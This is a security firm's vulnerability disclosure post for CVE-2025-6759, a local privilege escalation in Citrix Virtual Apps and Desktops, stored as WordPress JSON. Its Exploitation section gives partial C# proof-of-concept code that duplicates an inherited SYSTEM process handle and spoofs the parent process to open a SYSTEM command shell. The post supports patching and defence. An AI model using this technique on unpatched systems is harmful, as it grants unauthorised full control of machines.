{"id":3485,"date":"2025-07-15T05:34:44","date_gmt":"2025-07-15T03:34:44","guid":{"rendered":"https:\/\/certitude.consulting\/blog\/?p=3485"},"modified":"2025-07-15T05:37:47","modified_gmt":"2025-07-15T03:37:47","slug":"local-privilege-escalation-citrix-virtual-apps-and-desktops","status":"publish","type":"post","link":"https:\/\/certitude.consulting\/blog\/en\/local-privilege-escalation-citrix-virtual-apps-and-desktops\/","title":{"rendered":"CVE-2025-6759: Local Privilege Escalation in Citrix Virtual Apps and Desktops"},"content":{"rendered":"\n<p>Certitude identified a local privilege escalation vulnerability in Citrix Virtual Apps and Desktops which would allow an attacker with control of a low-privileged user within a virtual desktop to reliably escalate privileges to <code>SYSTEM<\/code>. We informed Citrix of the finding, who were already made aware of the issue two months prior. A patch and security bulletin<sup>1<\/sup> was recently released.<\/p>\n\n\n\n<p><strong>Discovery<\/strong><\/p>\n\n\n\n<p>During a network penetration test, while logged into a virtual desktop, we noticed a Citrix process called <code>CtxGfx.exe<\/code> running in the context of our user (see Figure 1). This process seemed to have inherited a <code>PROCESS_ALL_ACCESS<\/code> handle to its parent process <code>GfxMgr.exe<\/code> (see Figure 2), which was running as <code>SYSTEM<\/code>. Due to these circumstances, it was possible to execute arbitrary code as <code>SYSTEM<\/code> by duplicating the process handle and using it to create a \u201cchild\u201d process.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized is-style-default\"><img loading=\"lazy\" decoding=\"async\" width=\"1055\" height=\"849\" src=\"https:\/\/certitude.consulting\/blog\/wp-content\/uploads\/2025\/07\/1.png\" alt=\"\" class=\"wp-image-3490\" style=\"width:615px;height:auto\" srcset=\"https:\/\/certitude.consulting\/blog\/wp-content\/uploads\/2025\/07\/1.png 1055w, https:\/\/certitude.consulting\/blog\/wp-content\/uploads\/2025\/07\/1-300x241.png 300w, https:\/\/certitude.consulting\/blog\/wp-content\/uploads\/2025\/07\/1-1024x824.png 1024w, https:\/\/certitude.consulting\/blog\/wp-content\/uploads\/2025\/07\/1-768x618.png 768w\" sizes=\"auto, (max-width: 1055px) 100vw, 1055px\" \/><figcaption class=\"wp-element-caption\"><em>Figure 1: Our current user is the owner of the CtxGfx.exe process<\/em><\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1591\" height=\"543\" src=\"https:\/\/certitude.consulting\/blog\/wp-content\/uploads\/2025\/07\/2.png\" alt=\"\" class=\"wp-image-3491\" srcset=\"https:\/\/certitude.consulting\/blog\/wp-content\/uploads\/2025\/07\/2.png 1591w, https:\/\/certitude.consulting\/blog\/wp-content\/uploads\/2025\/07\/2-300x102.png 300w, https:\/\/certitude.consulting\/blog\/wp-content\/uploads\/2025\/07\/2-1024x349.png 1024w, https:\/\/certitude.consulting\/blog\/wp-content\/uploads\/2025\/07\/2-768x262.png 768w, https:\/\/certitude.consulting\/blog\/wp-content\/uploads\/2025\/07\/2-1536x524.png 1536w\" sizes=\"auto, (max-width: 1591px) 100vw, 1591px\" \/><figcaption class=\"wp-element-caption\"><em>Figure 2: The <code>CtxGfx.exe<\/code> process has a handle to <code>GfxMgr.exe<\/code> with <code>PROCESS_ALL_ACCESS<\/code><\/em><\/figcaption><\/figure>\n\n\n\n<p><strong>Exploitation<\/strong><\/p>\n\n\n\n<p>To exploit this circumstance, we developed a custom C# program which uses Windows API functions to:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Open a handle to <code>CtxGfx.exe<\/code> (<code>OpenProcess<\/code><sup>3<\/sup>)<\/li>\n\n\n\n<li>Duplicate the handle <code>CtxGfx.exe<\/code> has for <code>GfxMgr.exe<\/code> (<code>DuplicateHandle<\/code><sup>4<\/sup>)<\/li>\n\n\n\n<li>Create a <code>cmd.exe<\/code> process using the duplicated handle to set <code>GfxMgr.exe<\/code> as the parent process (<code>CreateProcess<\/code><sup>5<\/sup>)<\/li>\n<\/ol>\n\n\n\n<p>The partial code is listed below. Notably, a specific <code>STARTUPINFO<\/code><sup>6<\/sup> struct must be prepared which sets the parent process of the <code>cmd.exe<\/code> process (<code>PROC_THREAD_ATTRIBUTE_PARENT_PROCESS<\/code><sup>7<\/sup>) to the <code>GfxMgr.exe<\/code> process which is running as <code>SYSTEM<\/code>.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>using System;\nusing System.Runtime.InteropServices;\n\nnamespace UpperHandle\n{\n    internal class Program\n    {\n        <em>...SNIP...<\/em>\n\n        static void Main(string&#91;] args)\n        {\n            <em>...SNIP...<\/em>\n\n            IntPtr hMediumProcess = <mark class=\"has-inline-color has-vivid-red-color\">OpenProcess(ProcessAccessFlags.DuplicateHandle, false, uint.Parse(args&#91;0]))<\/mark>;\n            IntPtr dupHandle;\n            if (!<mark class=\"has-inline-color has-vivid-red-color\">DuplicateHandle(hMediumProcess, (IntPtr)uint.Parse(args&#91;1]), GetCurrentProcess(), out dupHandle, 0x001F0000, false, 0x00000002)<\/mark>)\n            {\n                Console.WriteLine(\"&#91;-] ERROR: DuplicateHandle -- \" + Marshal.GetLastWin32Error());\n                return;\n            }\n\n            STARTUPINFOEX si = new STARTUPINFOEX();\n            si.StartupInfo.cb = Marshal.SizeOf(typeof(STARTUPINFOEX));\n            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();\n\n            IntPtr size = IntPtr.Zero;\n            InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref size);\n            si.lpAttributeList = HeapAlloc(GetProcessHeap(), 0, (UIntPtr)size.ToInt32());\n            InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, ref size);\n\n            IntPtr attribute = new IntPtr(0x00020000); \/\/ PROC_THREAD_ATTRIBUTE_PARENT_PROCESS\n            IntPtr dupHandlePtr = Marshal.AllocHGlobal(IntPtr.Size);\n            Marshal.WriteIntPtr(dupHandlePtr, dupHandle);\n            if (!<mark class=\"has-inline-color has-vivid-red-color\">UpdateProcThreadAttribute(si.lpAttributeList, 0, attribute, dupHandlePtr, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero)<\/mark>)\n            {\n                Console.WriteLine(\"&#91;-] ERROR: UpdateProcThreadAttribute -- \" + Marshal.GetLastWin32Error());\n                return;\n            }\n\n            bool success = <mark class=\"has-inline-color has-vivid-red-color\">CreateProcess(\n                null,\n                \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n                IntPtr.Zero,\n                IntPtr.Zero,\n                true,\n                0x00080000 | 0x00000010, \/\/ EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE\n                IntPtr.Zero,\n                null,\n                ref si,\n                out pi\n            )<\/mark>;\n        }\n    }\n}<\/code><\/pre>\n\n\n\n<p>Figure 3 demonstrates successful exploitation. The first argument is the process ID of <code>CtxGfx.exe<\/code>, and the second argument is the handle ID for <code>GfxMgr.exe<\/code>, both decimal values (0x198 = 408).<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"822\" height=\"702\" src=\"https:\/\/certitude.consulting\/blog\/wp-content\/uploads\/2025\/07\/3.png\" alt=\"\" class=\"wp-image-3492\" style=\"width:618px;height:auto\" srcset=\"https:\/\/certitude.consulting\/blog\/wp-content\/uploads\/2025\/07\/3.png 822w, https:\/\/certitude.consulting\/blog\/wp-content\/uploads\/2025\/07\/3-300x256.png 300w, https:\/\/certitude.consulting\/blog\/wp-content\/uploads\/2025\/07\/3-768x656.png 768w\" sizes=\"auto, (max-width: 822px) 100vw, 822px\" \/><figcaption class=\"wp-element-caption\"><em>Figure 3: Using our custom POC program to spawn a <code>cmd.exe<\/code> process as <code>SYSTEM<\/code><\/em><\/figcaption><\/figure>\n\n\n\n<p><strong>Disclosure timeline<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>May 2025 &#8211; Issue discovered by <em>William Moody<\/em> and <em>Edwin Sch\u00f6negger<\/em>.<\/li>\n\n\n\n<li>May 17, 2025 &#8211; Disclosed the issue to Citrix.<\/li>\n\n\n\n<li>June 13, 2025 &#8211; Citrix acknowledged the report.<\/li>\n\n\n\n<li>July 7, 2025 &#8211; Citrix informed us that they were already aware of the vulnerability.<\/li>\n\n\n\n<li>July 8, 2025 &#8211; Citrix released a security bulletin<sup>1<\/sup>.<\/li>\n<\/ul>\n\n\n\n<p><strong>References<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><a href=\"https:\/\/support.citrix.com\/support-home\/kbsearch\/article?articleNumber=CTX694820\">https:\/\/support.citrix.com\/support-home\/kbsearch\/article?articleNumber=CTX694820<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/www.rapid7.com\/blog\/post\/cve-2025-6759-citrix-virtual-apps-and-desktops-fixed\/\">https:\/\/www.rapid7.com\/blog\/post\/cve-2025-6759-citrix-virtual-apps-and-desktops-fixed\/<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/processthreadsapi\/nf-processthreadsapi-openprocess\">https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/processthreadsapi\/nf-processthreadsapi-openprocess<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/handleapi\/nf-handleapi-duplicatehandle\">https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/handleapi\/nf-handleapi-duplicatehandle<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/processthreadsapi\/nf-processthreadsapi-createprocessa\">https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/processthreadsapi\/nf-processthreadsapi-createprocessa<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/processthreadsapi\/ns-processthreadsapi-startupinfoa\">https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/processthreadsapi\/ns-processthreadsapi-startupinfoa<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/processthreadsapi\/nf-processthreadsapi-updateprocthreadattribute\">https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/processthreadsapi\/nf-processthreadsapi-updateprocthreadattribute<\/a><\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>Certitude identified a local privilege escalation vulnerability in Citrix Virtual Apps and Desktops which would allow an attacker with control of a low-privileged user within a virtual desktop to reliably escalate privileges to SYSTEM. We informed Citrix of the finding, who were already made aware of the issue two months prior. A patch and security [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":219,"comment_status":"closed","ping_status":"open","sticky":true,"template":"","format":"standard","meta":{"footnotes":""},"categories":[60,103],"tags":[677],"class_list":["post-3485","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-technical-analysis","category-vulnerability-research-en","tag-citrix-en"],"_links":{"self":[{"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/posts\/3485","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/comments?post=3485"}],"version-history":[{"count":8,"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/posts\/3485\/revisions"}],"predecessor-version":[{"id":3508,"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/posts\/3485\/revisions\/3508"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/media\/219"}],"wp:attachment":[{"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/media?parent=3485"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/categories?post=3485"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/certitude.consulting\/blog\/wp-json\/wp\/v2\/tags?post=3485"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}